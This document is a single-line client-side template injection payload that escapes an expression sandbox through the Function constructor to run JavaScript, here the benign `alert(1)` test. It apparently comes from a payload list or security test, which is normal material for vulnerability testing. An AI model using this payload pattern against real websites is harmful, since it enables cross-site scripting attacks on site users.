{{toString().constructor.constructor('alert(1)')()}}